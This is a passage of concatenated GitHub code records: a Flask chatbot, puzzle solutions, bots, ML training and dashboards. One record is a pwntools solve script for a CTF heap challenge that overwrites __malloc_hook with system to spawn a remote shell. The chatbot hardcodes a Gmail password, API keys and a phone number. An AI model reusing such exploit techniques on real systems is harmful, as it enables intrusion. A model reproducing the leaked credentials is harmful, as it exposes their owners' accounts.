= smtplib.SMTP('smtp.gmail.com', 587)\n  server.starttls() #tls -> transport layer security(used to make email secure)\n  server.login(\"efahi56189@gmail.com\", \"56189efahi\") #sender mail and mail id password required\n  email = EmailMessage()\n  email['From'] = \"efahi56189@gmail.com\"\n  email['To'] = receiver\n  email['Subject'] = subject\n  email.set_content(content)\n  server.send_message(email)\n  server.close() \n\n  # enable less secure apps in gmail account to run this function\n\ndef sendWhatsMsg(phone_no, message):\n  Message = message\n  wb.open('https://web.whatsapp.com/send?phone='+phone_no+'&text='+Message)\n  sleep(10)\n  # puautogui.press('enter')\n\ndef searchGoogle(query):\n  wb.open('https://www.google.com/search?q='+query)\n\ndef news():\n  newsapi = NewsApiClient(api_key = '99ccfefa3dfe4abc824d337eaa9e4a8a')\n  topic = request.args.get('topic')\n  data = newsapi.get_top_headlines(q=topic, language='en', page_size=5)\n  newsdata = data['articles']\n  newlist = [(\"Latest news updates about the topic \" + topic + \" are : \")]\n  for x,y in enumerate(newsdata):\n    newlist.append(f'{x}{y[\"description\"]}')\n  return newlist \n\ndef passwordGen():\n  s1 = string.ascii_uppercase\n  s2 = string.ascii_lowercase\n  s3 = string.digits\n  s4 = string.punctuation\n\n  passlength = 10\n  s = []\n  s.extend(list(s1))\n  s.extend(list(s2))\n  s.extend(list(s3))\n  s.extend(list(s4))\n  random.shuffle(s)\n\n  newpass = (\"\".join(s[0:passlength]))\n  ans = (\"The generated password is : \" + newpass)\n  return ans\n\ndef flip():\n  coin = ['head', 'tail']\n  toss = []\n  toss.extend(coin)\n  random.shuffle(toss)\n  toss = (\"\".join(toss[0]))\n  ans = (\"output of flipped coin is a \"+toss)\n  return ans\n\ndef roll():\n  die = ['1', '2', '3', '4', '5', '6']\n  roll = []\n  roll.extend(die)\n  random.shuffle(roll)\n  roll = (\"\".join(roll[0]))\n  ans = (\"output of the die rolled is \"+roll)\n  return ans\n\ndef cpu():\n  usage = str(psutil.cpu_percent())\n  ans = (\"CPU is at \"+ usage)\n  return ans\n\ndef bot(msg):\n  wishme()\n  GREET_INPUTS = (\"hello\", \"hi\", \"greetings\", \"sup\", \"whatsup\", \"hey\", \"how\", \"namaste\", \"how\")\n  GREET_RESPONSES = [\"hi\", \"hey\", \"hi there\", \"hello\", \"I am glad! You are talking to me\", \"hello! How are you?\", \"*nods*\", \"hi! How are you?\"]\n  while True:\n    inp = msg.lower()\n    query = LemNormalize(inp)\n    flag = True\n    List = []\n    # operations \n    if 'quit' in query:\n      break\n\n    if 'time' in query:\n      flag = False\n      List.append(time())\n\n    if 'day' in query:\n      flag = False\n      List.append(day())\n\n    if 'date' in query:\n      flag = False\n      List.append(date())\n\n    if 'email' in query:\n      flag = False\n      try:\n        receiver = request.args.get('receiver')\n        subject = request.args.get('subject')\n        content = request.args.get('content')\n        sendEmail(receiver, subject, content)\n        return(\"email has been sent\")\n      except Exception as e:\n        return(\"404\")\n      continue\n\n    if 'message' in query:\n      flag = False\n      user_name = {\n          'vivek' : '+91 94623 28117'\n      }\n      try:\n        receiver = input(\"Please enter receiver's name : \")\n        name = receiver.lower()\n        phone_no = user_name[name]\n        message = input(\"Please enter content of the msg : \")\n        sendWhatsMsg(phone_no, message)\n        print(\"message has been sent\")\n      except Exception as e:\n        print(e)\n      continue\n\n    if 'wikipedia' in query:\n      flag = False\n      inp = inp.replace(\"wikipedia\", \"\")\n      result = wikipedia.summary(inp, sentences = 3)\n      List.append(\"The search result is : \" + result)\n\n    if 'google' in query:\n      flag = False\n      inp = inp.replace(\"google\", \"\")\n      result = wikipedia.summary(inp, sentences = 2)\n      List.append(\"The search result is : \" + result)\n\n    if 'weather' in query:\n      flag = False\n      city = request.args.get('city')\n      url = f'http://api.openweathermap.org/data/2.5/weather?q={city}&units=imperial&appid=24a0a5534a7ced33763b94acb9e7d058'\n\n      res = requests.get(url)\n      data = res.json()\n\n      weather = data['weather'] [0] ['main']\n      temp = data['main']['temp']\n      temp = round((temp - 32)*5/9)\n      desp = data['weather'] [0] ['description']\n      List.append(\"The current weather is : \" + weather)\n      List.append(\"The current temperature is : \" + str(temp))\n\n    if 'news' in query:\n      flag = False\n      res=news()\n      for r in res:\n        List.append(r)\n\n    if 'joke' in query:\n      flag = False\n      List.append(\"here is the joke : \" + pyjokes.get_joke())\n\n    if 'password' in query:\n      flag = False\n      List.append(passwordGen())\n\n    if 'flip' in query:\n      flag = False\n      List.append(flip())\n\n    if 'roll' in query:\n      flag = False\n      List.append(roll())\n\n    if 'cpu' in query:\n      flag = False\n      List.append(cpu())\n\n    if flag:\n      for word in query:\n        if word in GREET_INPUTS:\n          return (random.choice(GREET_RESPONSES))\n    else:\n      return (List)\n\n    if flag:\n      return (\"Didn't understand what you are trying to say, please try again!\")\n\nfrom flask import Flask, request,jsonify\n\nimport numpy as np\n\n\napp= Flask(__name__)\n\n@app.route('/')\ndef home():\n    return \"Welcome to ChatBot\"\n\n@app.route('/bot', methods=['GET'])\ndef get_bot_response():\n    userText = request.args.get('msg')\n    \n    result=bot(userText)\n    return jsonify(result)\n\nif __name__ == '__main__':\n    app.run(host=\"0.0.0.0\",)\n\n","repo_name":"Navneets2121/Chatbot-App","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"22236500684","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom pwn import *\n\nexe = context.binary = ELF('houseofwhat')\nlibc = exe.libc\n\nhost = args.HOST or '172.17.0.2'\nport = int(args.PORT or 3141)\n\ndef start_local(argv=[], *a, **kw):\n    '''Execute the target binary locally'''\n    if args.GDB:\n        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)\n    else:\n        return process([exe.path] + argv, *a, **kw)\n\ndef start_remote(argv=[], *a, **kw):\n    '''Connect to the process on the remote host'''\n    io = connect(host, port)\n    if args.GDB:\n        gdb.attach(io, gdbscript=gdbscript)\n    return io\n\ndef start(argv=[], *a, **kw):\n    '''Start the exploit against the target.'''\n    if args.LOCAL:\n        return start_local(argv, *a, **kw)\n    else:\n        return start_remote(argv, *a, **kw)\n\ngdbscript = '''\ntbreak main\ncontinue\n'''.format(**locals())\n\n# -- Exploit goes here --\n\n# EXPLOIT IS NOT 100% RELIABLE, TRY A FEW TIMES\n\ndef malloc(size, data, final=False):\n    io.sendline(b\"2\")\n    io.sendafter(b\"Size: \", bytes(str(size), 'utf-8'))\n    if final: return\n    io.sendafter(b\"Message: \", data)\n    io.recvuntil(b\"> \")\n\nio = start()\nio.recvuntil(b\"you: \")\nlibc.address = int(io.recvline(), 16) - libc.sym.puts\nlog.info(f\"libc base @ {hex(libc.address)}\")\n\nio.recvuntil(b\"another: \")\nheap = int(io.recvline(), 16)\nlog.info(f\"heap @ {hex(heap)}\")\n\nmalloc(24, b\"A\"*24 + p64(0xffffffffffffffff))\ndistance = libc.sym.__malloc_hook - (heap+0x20)\nmalloc(distance, b\"/bin/sh\\0\")\nmalloc(24, p64(libc.sym.system))\n\ncmd = heap + 0x10\nmalloc(cmd, b\"\", True)\n\nio.interactive()\n","repo_name":"uwa-iss/public-uwactf-challenges-2022","sub_path":"pwn/houseofwhat/challenge/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"19"}
{"seq_id":"11350380039","text":"#!/usr/bin/env python\n\"\"\"\nCREATED AT: 2022/4/3\nDes:\nhttps://leetcode.com/problems/maximum-candies-allocated-to-k-children/\nGITHUB: https://github.com/Jiezhi/myleetcode\n\nDifficulty: Medium\n\nTag: \n\nSee: \n\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n    def maximumCandies(self, candies: List[int], k: int) -> int:\n        total = sum(candies)\n        candies = sorted(candies, reverse=True)\n\n        def canDivide(cnt: int) -> bool:\n            ret = 0\n            for c in candies:\n                ret += c // cnt\n                if ret >= k:\n                    return True\n            return False\n\n        if total < k:\n            return 0\n        lo, hi = 1, total // k\n        while lo < hi - 1:\n            mid = lo + (hi - lo) // 2\n            if canDivide(mid):\n                lo = mid\n            else:\n                hi = mid - 1\n        return lo + 1 if canDivide(lo + 1) else lo\n\n\ndef test():\n    assert Solution().maximumCandies(candies=[5, 8, 6], k=3) == 5\n\n\nif __name__ == '__main__':\n    test()\n","repo_name":"Jiezhi/myleetcode","sub_path":"src/2226-MaximumCandiesAllocatedToKChildren.py","file_name":"2226-MaximumCandiesAllocatedToKChildren.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"3286927593","text":"# -*- coding: utf-8 -*-\nfrom . import db\nfrom pymongo.collection import Collection\n\n\nclass ZhihuImage(object):\n    COL_NAME = 'ZhihuImage'\n    col = Collection(db, COL_NAME)\n    class Field(object):\n        _id = '_id'\n        url = 'url'\n        update = 'update'\n        imagesList = 'imagesList'\n        zhihu_type = 'zhihu_type'\n    class ImagesListField(object):\n        answer_url = 'answer_url'\n        author = 'author'\n        author_url = 'author_url'\n        image = 'image'\n    class ZhihuTypeField(object):\n        collection  = 0\n        question  = 1\n","repo_name":"LinSuper/zhihu_spider","sub_path":"model/zhihu_image.py","file_name":"zhihu_image.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":134,"dataset":"github-code","pt":"19"}
{"seq_id":"36829632417","text":"\"\"\"\nurl : https://www.acmicpc.net/problem/14889\nproblem : 스타트와 링크\nalgorithm : 브루트 포스\ndate : 2020.09.20\n\"\"\"\nN = int(input())\nS = [list(map(int, input().split())) for _ in range(N)]\nT = [False] * N\nmn = float('inf')\n\ndef solution():\n    global mn\n\n    def team(cnt, idx):\n        global T, mn\n        if idx == N:\n            return\n        if cnt == N//2: # True 팀이 2/N이면 능력치 계산\n            val = 0\n            for i in range(N):\n                for j in range(i+1, N): # range(N) -> range(i+1, N) 을 통해 반복횟수를 줄인다\n                    if T[i] and T[j]: # 반복횟수를 줄이기 위해 두 선수의 능력치 한번에 계산\n                        val += S[i][j] \n                        val += S[j][i] \n                    if not T[i] and not T[j]:\n                        val -= S[i][j]\n                        val -= S[j][i]\n            mn = min(mn, abs(val))\n            return\n\n        T[idx] = True # 이 선수가 True 팀일 경우\n        team(cnt+1, idx+1) # cnt 는 True 팀의 인원\n        T[idx] = False # 이 선수가 False 팀일 경우\n        team(cnt, idx+1)\n\n    team(0, 0)\n    return mn\n\nprint(solution())","repo_name":"HardenKim/Coding_Test","sub_path":"삼성SW_기출/B_14889.py","file_name":"B_14889.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"30774872726","text":"from datetime import datetime\nfrom datetime import timedelta\nfrom collections import defaultdict, deque\nimport copy\nimport re\nimport time\n\n# .\\get.ps1 9\n\nstart = datetime.now()\nlines = open('9.in').readlines()\n\n\ndef is_sum(arr, indx, pream):\n    sub_arr = arr[indx - pream:indx]\n    for i in range(len(sub_arr)):\n        for j in range(i, len(sub_arr)):\n            if sub_arr[i] + sub_arr[j] == arr[indx]:\n                return True\n    return False\n\n\ndef find_range(arr, target):\n    for i in range(len(arr)):\n        s = arr[i]\n        for j in range(i + 1, len(arr)):\n            s += arr[j]\n            if s == target:\n                return arr[i:j + 1]\n            if s > target:\n                break\n    return None\n\n\ndef solve(lines):\n    res1 = None\n    res2 = None\n    A = []\n    for line in lines:\n        line = line.strip()\n        A.append(int(line))\n    pream = 25\n    i = pream\n    while i < len(A):\n        if not is_sum(A, i, pream):\n            res1 = A[i]\n            break\n        i += 1\n    assert res1 is not None\n    cont_range = find_range(A, res1)\n    assert cont_range is not None\n    sorted_range = list(sorted(cont_range))\n    res2 = sorted_range[0] + sorted_range[-1]\n    return res1, res2\n\n\nprint(solve(lines))  # 144381670, 20532569\n\nstop = datetime.now()\nprint(\"duration:\", stop - start)","repo_name":"rastislavsvoboda/advent-of-code-2020","sub_path":"aoc_2020_d09.py","file_name":"aoc_2020_d09.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"13802078412","text":"# car_prices = {'opel': 8000, 'toyota': 5000, 'bmw': 10000}\n# print(car_prices)\n# print(car_prices['opel'])\n# car_prices['Mazda'] = 4000\n# print(car_prices)\n# car_prices['opel'] = 3000\n# print(car_prices['opel'])\n# del car_prices['bmw']\n# print(car_prices)\n# car_prices.clear()\n# print(car_prices)\n\nperson = {\n    'first name': 'Alisher',\n    'last name': 'Vakilov',\n    'age': 50,\n    'hobbies': ['football', 'guitar', 'photo'],\n    'children': {'son': 'Michael', 'daughter': 'Camilla'}\n}\nprint(person['children'])\nprint(person['age'])\nprint(person['hobbies'])\nhobbies = person['hobbies']\nprint(hobbies)\nprint(hobbies[2])\nprint(person['hobbies'][2])\nchildren = person['children']\nprint(children['son'])\nprint(person['children']['daughter'])\nperson['car'] = 'Mazda'\nprint(person)\nperson['hobbies'][1] = 'singing'\nprint(person['hobbies'])\nprint(person.keys())\nprint(person.values())\nprint(person.items())\n\ncar = {\n    'year': 2010,\n    'color': 'white',\n    'model': 'bmw',\n    'mileage': 100000\n}\nprint(car['mileage'])\n\npersonal_computer = {\n    'CPU': 'Intel Core',\n    'memory': 1000,\n    'DDR_memory': 8,\n    'video': 'NVIDIA 1050',\n    'display': 17\n}\nprint(personal_computer)","repo_name":"tartarminator/alv.py","sub_path":"dict_my.py","file_name":"dict_my.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"15730719550","text":"def palindrome(dna):\n    \"\"\"Returns True if dna is the same as its reverse complement, False otherwise.\n    (Reverse complement of 'gatc' would read from 3 'ctag' to 5, so reading\n    both from 5 prime to 3 prime would be 'gatc').\"\"\"\n\n    # get complement:\n    rc = '' # prepend the complement of each character (to compile the reverse complement, appending would concatenate the complement)\n    for char in dna:\n        if char == 'a':\n            rc = 't' + rc\n        elif char == 't':\n            rc = 'a' + rc\n        elif char == 'c':\n            rc = 'g' + rc\n        elif char == 'g':\n            rc = 'c' + rc\n    return True if rc == dna else False    \n\n\ndna = 'gaattc' # should return true\ndna2 = 'gctgc' # should return false\nprint(palindrome(dna))\nprint(palindrome(dna2))\nassert palindrome(dna)\nassert palindrome(dna2)\n","repo_name":"B-T-D/DCS_work_backup","sub_path":"CH6_text_documents_and_dna/exercises_6_7/11_palindrome.py","file_name":"11_palindrome.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"40923906473","text":"# Reto #0: EL FAMOSO \"FIZZ BUZZ\"\n#### Dificultad: Fácil | Publicación: 26/12/22 | Corrección: 02/01/23\n\n\"\"\"\nEnunciado\n\n * Escribe un programa que muestre por consola (con un print) los\n * números de 1 a 100 (ambos incluidos y con un salto de línea entre\n * cada impresión), sustituyendo los siguientes:\n * - Múltiplos de 3 por la palabra \"fizz\".\n * - Múltiplos de 5 por la palabra \"buzz\".\n * - Múltiplos de 3 y de 5 a la vez por la palabra \"fizzbuzz\".\n\n\"\"\"\n\nimport numpy as np\nfrom timeit import default_timer\n\n# solución pusheada, tipo = por comprension\n\nt_inicial = default_timer()\n\nfor numero in range(1,101):\n    if numero%3==0 and numero%5==0:\n        print('fizzbuzz')\n    elif numero%3==0:\n        print('fizz')\n    elif numero%5==0:\n        print('buzz')\n    else:\n        print(numero)\n\nt_final = default_timer()\nt_resultado1 = t_final - t_inicial\n\n# solución 2, tipo = funcional\n\ndef fizzbuzz():\n    for numero in np.arange(1,101):\n        if numero%3==0 and numero%5==0:\n            print('fizzbuzz')\n        elif numero%3==0:\n            print('fizz')\n        elif numero%5==0:\n            print('buzz')\n        else:\n            print(numero)\n\nt_inicial = default_timer()\nfizzbuzz()\nt_final = default_timer()\nt_resultado2 = t_final - t_inicial\n\nprint(\"\\nTiempo solucion pusheada: {} \\nTiempo solucion 2: {}\".format(t_resultado1,t_resultado2))\n","repo_name":"hogan26/code_examples","sub_path":"retos-programacion-2023-rendimiento/python/facil/reto_0.py","file_name":"reto_0.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"6929515678","text":"from aiogram.types import KeyboardButton, Message, ReplyKeyboardMarkup\nfrom bot.controller.States import ChoseSubmit, ChoseTask\nfrom bot.repository.StateInfoRepository import StateInfoRepository\nfrom bot.repository.SubmitRepository import SubmitRepository\nfrom bot.service.GradingService import GradingService\nfrom bot.teletrik.Controller import Controller\nfrom bot.teletrik.DI import controller\n\n\n@controller(ChoseSubmit)\nclass ChoseSubmitStateController(Controller):\n    def __init__(\n        self,\n        submit_repository: SubmitRepository,\n        state_info_repository: StateInfoRepository,\n        grading_service: GradingService,\n    ):\n        self.submit_repository: SubmitRepository = submit_repository\n        self.state_info_repository: StateInfoRepository = state_info_repository\n        self.grading_service: GradingService = grading_service\n\n    RESULTS = \"Результаты\"\n    CHOOSE_SUBMIT = \"Попытки по задаче ▸\"\n    BACK = \"◂ Назад\"\n    SUBMIT = \"Посылка ученика\"\n    SERVER_FAIL = (\n        \"Не удалось получить посылку так как сервер недоступен. Попробуйте позже.\"\n    )\n    USE_KEYBOARD = \"Я вас не понял, пожалуйста  воспользуйтесь кнопкой из клавиатуры\"\n\n    async def handle(self, message: Message):\n\n        if not self._validate_message(message):\n            await message.answer(self.USE_KEYBOARD)\n            return\n\n        if message.text == self.BACK:\n            return ChoseTask\n\n        text: list[str] = message.text.split()\n        submit_id: str = text[1]\n        file = await self.grading_service.get_submission(submit_id)\n\n        if file != self.grading_service.SERVER_ERROR:\n            await message.answer(self.SUBMIT)\n            await message.bot.send_document(\n                message.from_user.id, (f\"submit_{submit_id}.qrs\", file)\n            )\n        else:\n            await message.answer(self.SUBMIT_NOT_FOUND)\n\n        return ChoseSubmit\n\n    async def prepare(self, message: Message):\n        await message.answer(\n            self.CHOOSE_SUBMIT,\n            reply_markup=await self._create_choose_submit_keyboard(message),\n        )\n\n    async def _create_choose_submit_keyboard(self, message) -> ReplyKeyboardMarkup:\n        choose_submit_keyboard: ReplyKeyboardMarkup = ReplyKeyboardMarkup(\n            resize_keyboard=True\n        )\n        state_info = self.state_info_repository.get(message.from_user.id)\n        submits = await self.submit_repository.get_student_submits_by_task(\n            state_info.chosen_student, state_info.chosen_task\n        )\n        for submit in submits:\n            choose_submit_keyboard.add(\n                KeyboardButton(f\"{submit.result} {submit.submit_id}\")\n            )\n\n        choose_submit_keyboard.add(KeyboardButton(self.BACK))\n        return choose_submit_keyboard\n\n    @staticmethod\n    def _validate_message(message: Message) -> bool:\n        return len(message.text) == 2\n","repo_name":"Pupsen-Vupsen/trik-testsys-telegram-client","sub_path":"bot/controller/ChoseSubmitStateController.py","file_name":"ChoseSubmitStateController.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"14245589375","text":"import os\nimport shutil\n\nimport torch\nfrom torch.nn import MSELoss\nimport cfg\n# from net3 import Net\nfrom net4 import Net\n# from net2 import Net\nfrom dataset import CodeData\nfrom torch.utils.data import DataLoader\nfrom torch.optim import Adam\nfrom torch.utils.tensorboard import SummaryWriter\n\n\nclass Trainer:\n    def __init__(self):\n        self._net = Net().to(cfg.device)\n        # 加载参数\n        if os.path.exists(cfg.param_path):\n            try:\n                self._net.load_state_dict(torch.load(cfg.param_path))\n                print(\"Loaded!\")\n            except RuntimeError:\n                os.remove(cfg.param_path)\n                print(\"参数异常，重新开始训练\")\n        else:\n            print(\"No Param!\")\n\n        # self._opt = SGD(self._net.parameters(), lr=5e-4)\n        self._opt = Adam(self._net.parameters())\n\n        self._train_loader = DataLoader(CodeData(cfg.train_dir), batch_size=cfg.train_batch_size, shuffle=True)\n        self._validate_loader = DataLoader(CodeData(cfg.test_dir), batch_size=cfg.validate_batch_size,\n                                           shuffle=True)\n\n        self._loss_fn = MSELoss()\n        self._log = SummaryWriter(\"./log\")\n\n    def __call__(self, *args, **kwargs):\n        for _epoch in range(1000):\n\n            self._net.train()\n            _sum_loss = 0.\n            for _i, (_data, _target) in enumerate(self._train_loader):\n                _data, _target = _data.to(cfg.device), _target.to(cfg.device)\n\n                _y = self._net(_data)\n                # print(_y)\n                # print(_y.shape)\n                # print(_target.shape)\n                # _y = torch.argmax(_y, dim=-1)\n                _loss = self._loss_fn(_y, _target)\n\n                self._opt.zero_grad()\n                _loss.backward()\n                self._opt.step()\n\n                _sum_loss += _loss.cpu().detach().item()\n\n            self._log.add_scalar(\"train_loss\", _sum_loss / len(self._train_loader), _epoch)\n\n            torch.save(self._net.state_dict(), cfg.param_path)\n            # torch.save(self._opt.state_dict(), \"o.pt\")\n            print(_sum_loss / len(self._train_loader))\n\n            # 开始验证\n            self._net.eval()\n            _sum_loss, _sum_acc = 0., 0.\n\n            for _i, (_data, _target) in enumerate(self._validate_loader):\n                _data, _target = _data.to(cfg.device), _target.to(cfg.device)\n\n                _y = self._net(_data)\n\n                _loss = self._loss_fn(_y, _target)\n                _sum_loss += _loss.cpu().detach().item()\n\n                # 求精度\n                _y = torch.argmax(_y, dim=-1)\n                _target = torch.argmax(_target, dim=-1)\n                _sum_acc += torch.mean(torch.eq(_y, _target).float())\n                _sum_acc = _sum_acc.cpu().detach().item()\n\n            self._log.add_scalar(\"val_loss\", _sum_loss / len(self._validate_loader), _epoch)\n            self._log.add_scalar(\"val_acc\", _sum_acc / len(self._validate_loader), _epoch)\n            print(_sum_loss / len(self._validate_loader))\n            print(_sum_acc / len(self._validate_loader))\n\n\nif __name__ == '__main__':\n    if os.path.exists(cfg.log_path):\n        shutil.rmtree(cfg.log_path)\n    train = Trainer()\n    train()\n","repo_name":"Ginger123319/CV","sub_path":"Rnn/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"22296912633","text":"import gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\n\nfrom datetime import datetime\n\nimport pandas as pd\nimport numpy as np\n\nimport plotly\nimport plotly.express as px\nimport plotly.io as pio\n\nimport chart_studio\nimport chart_studio.plotly as py\nimport chart_studio.tools as tls\n\n# Please note that this function is included in the demo.py program for the USG Overview; SEE Chart 8\n\ndate_after_var = input(\"Date to show the USAID Business Forecast After (MM/DD/YYYY): \")\nusername = input(\"Chart Studio Username?: \")\napi_key = input(\"Chart Studio Password?: \")\ncreds_json = input(\"Google API Service Account JSON (use .json)?: \")\nsheet_name = input(\"Google Sheet Name?: \")\n\ndef usaid_bf_wash_fxn(date_after_var,username,api_key,creds_json,sheet_name):\n\n    chart_studio.tools.set_credentials_file(username=username, api_key=api_key)\n\n    #Access Google Sheets\n    scope = [\"https://spreadsheets.google.com/feeds\",\"https://www.googleapis.com/auth/spreadsheets\",\"https://www.googleapis.com/auth/drive.file\",\"https://www.googleapis.com/auth/drive\"]\n    creds = ServiceAccountCredentials.from_json_keyfile_name(creds_json,scope)\n    client = gspread.authorize(creds)\n    sheet = client.open(sheet_name).sheet1\n    lyst1 = sheet.get_all_records()\n\n    df = pd.DataFrame(lyst1)\n\n    def split(value):\n        a, b= value.split('-')\n        return a\n\n    lyst2 =[]\n    for i in df[\"Total Estimated Cost/Amount Range\"]:\n        lyst2.append(split(i))\n\n    df[\"Estimated Cost Minimum\"] = lyst2\n\n    df['Anticipated Solicitation Release Date']= pd.to_datetime(df['Anticipated Solicitation Release Date'])\n\n    date1 = date_after_var\n\n    df = df.loc[df[\"Anticipated Solicitation Release Date\"] > datetime.strptime(date1, \"%m/%d/%Y\")]\n    df = df.loc[df[\"Location\"] == \"Washington\"]\n\n    df[\"Award Description\"] = df[\"Award Description\"].str.wrap(45)\n    df[\"Award Description\"] = df[\"Award Description\"].apply(lambda x: x.replace('\\n', '<br>'))\n\n    scatterplot = px.scatter(\n        title = \"USAID Business Forecast (For Washington Operating Unit)\",\n        data_frame=df,\n        x = \"Anticipated Solicitation Release Date\",\n        y = \"Estimated Cost Minimum\",\n        color = \"Sector\",\n        hover_name = \"Award Title\",\n        hover_data=[\"Operating Unit\",\"Total Estimated Cost/Amount Range\",\"Anticipated Award Date\",\"Award Length\",\"Award Description\"],\n        opacity = 0.9,\n        orientation=\"v\",\n        template='gridon',\n        labels={\n            \"Anticipated Solicitation Release Date\": \"<b>Anticipated Solicitation Release Date</b>\",\n            \"Total Estimated Cost/Amount Range\":\"<b>Estimated Cost Range</b>\",\n            \"Award Description\":\"<br><b>Award Description</b>\",\n            \"Sector\":\"<b>Sector</b>\",\n            \"Estimated Cost Minimum\":\"<b>Estimated Cost Minimum</b>\",\n            \"Anticipated Award Date\":\"<b>Anticipated Award Date</b>\",\n            \"Award Length\":\"<b>Award Length</b>\",\n            \"Operating Unit\":\"<b>Operating Unit</b>\"\n        }\n    )\n\n    scatterplot.update_traces(marker={'size': 15})\n\n    # py.plot(scatterplot, filename = 'USAID BF for Washington', auto_open = False)\n\n    scatterplot.show()\n\nusaid_bf_wash_fxn(date_after_var,username,api_key,creds_json,sheet_name)","repo_name":"nzh2534/USAID-USG-Analytics-Apps-for-INGO","sub_path":"USAIDBF_Washington.py","file_name":"USAIDBF_Washington.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"70602704042","text":"from django.urls import path\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom rest_framework_simplejwt.views import TokenObtainPairView\n\nfrom .views import UserProfileListCreateView, UserRegistrationView, UserProfileUpdateView, OrderCreateView, \\\n    UserOrdersListView, OrderRetrieveView, AttachmentUploadView\nfrom .serializers import UserRegistrationSerializer\n\n\nclass ObtainTokenView(TokenObtainPairView):\n    serializer_class = UserRegistrationSerializer\n\n\nurlpatterns = [\n    path('users/', UserProfileListCreateView.as_view(), name='user-list-create'),\n    path('register/', UserRegistrationView.as_view(), name='user-register'),\n    path('token/', ObtainTokenView.as_view(), name='token_obtain_pair'),\n    path('profile/', UserProfileUpdateView.as_view(), name='user-profile-update'),\n    path('order/create/', OrderCreateView.as_view(), name='order-create'),\n    path('orders/', UserOrdersListView.as_view(), name='user-orders-list'),\n    path('order/<str:order_number>/', OrderRetrieveView.as_view(), name='order-retrieve'),\n    path('order/attachment/upload/', AttachmentUploadView.as_view(), name='attachment-upload'),\n]\n\nif settings.DEBUG:\n    urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"unitemir/web-studio-api","sub_path":"weborder/orders/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"8258824832","text":"import os\n\nfrom src.adapters.openmeteo.client import OpenMeteoClient\nfrom src.adapters.windycom.client import WindyComClient\nfrom src.domain.models import Location, ForecastModels\nfrom src.services.forecast_services import (\n    ForecastService,\n    WindyComExternalService,\n    OpenMeteoExternalService,\n)\n\nif __name__ == \"__main__\":\n    # bootstrap\n    windy_com_config: dict = {\n        \"user\": os.environ[\"METEOMATICS_USER\"],\n        \"password\": os.environ[\"METEOMATICS_PASSWORD\"],\n    }\n    windy_com_service = WindyComExternalService(client=WindyComClient(config=windy_com_config))\n    open_meteo_service = OpenMeteoExternalService(client=OpenMeteoClient(config={}))\n    forecast_service = ForecastService(external_services=[windy_com_service, open_meteo_service])\n\n    location = Location(name=\"My location\", lon=\"53.11\", lat=\"21.37\")\n\n    forecast_source_and_models = [\n        {\n            \"forecast_service_name\": \"OpenMeteoExternalService\",\n            \"model_name\": ForecastModels.MODEL_ICON,\n        },\n        {\"forecast_service_name\": \"WindyComExternalService\", \"model_name\": ForecastModels.DEFAULT},\n    ]\n\n    print(\"Done.\")\n","repo_name":"julekb/find-forecast","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"2563718401","text":"import random\nfrom asset import models\nfrom django.db.models import Count\n\n\nclass AssetDashboard(object):\n    # 画图需要的数据都在这里生成\n    def __init__(self, request):\n        self.request = request\n        self.asset_list = models.Asset.objects.all()\n        self.data = {}\n\n    def searilize_page(self):\n        # 生成页面需要的数据\n        self.data['asset_categories'] = self.get_asset_categories()\n        self.data['asset_status_list'] = self.get_asset_status_statistics()\n        self.data['business_load'] = self.get_business_load()\n\n    def get_business_load(self):\n        # 调用监控等系统(待开发)，得到每个业务线的负载率\n        dataset = {\n            'names': [],\n            'data': [],\n        }\n        for obj in models.BusinessUnit.objects.filter(parent_level=None):\n            load_val = random.randint(20, 95)  # 这是个模拟数据，模拟各业务线的使用率负载\n            dataset['names'].append(obj.name)\n            dataset['data'].append(load_val)\n        return dataset\n\n    def get_asset_status_statistics(self):\n        # 资产状态分类统计\n        queryset = list(self.asset_list.values('status').annotate(value=Count('status')))\n        dataset = {\n            'names': [],\n            'data': []\n        }\n        for index, item in enumerate(queryset):  # 0,{}\n            for db_val, display_name in models.Asset.status_choice:  # 0,'在线'\n                if db_val == item['status']:\n                    queryset[index]['name'] = display_name\n        dataset['names'] = [item['name'] for item in queryset]\n        dataset['data'] = [item['value'] for item in queryset]\n        return dataset\n\n    def get_asset_categories(self):\n        # 按资产类型进行分类\n        dataset = {\n            'names': 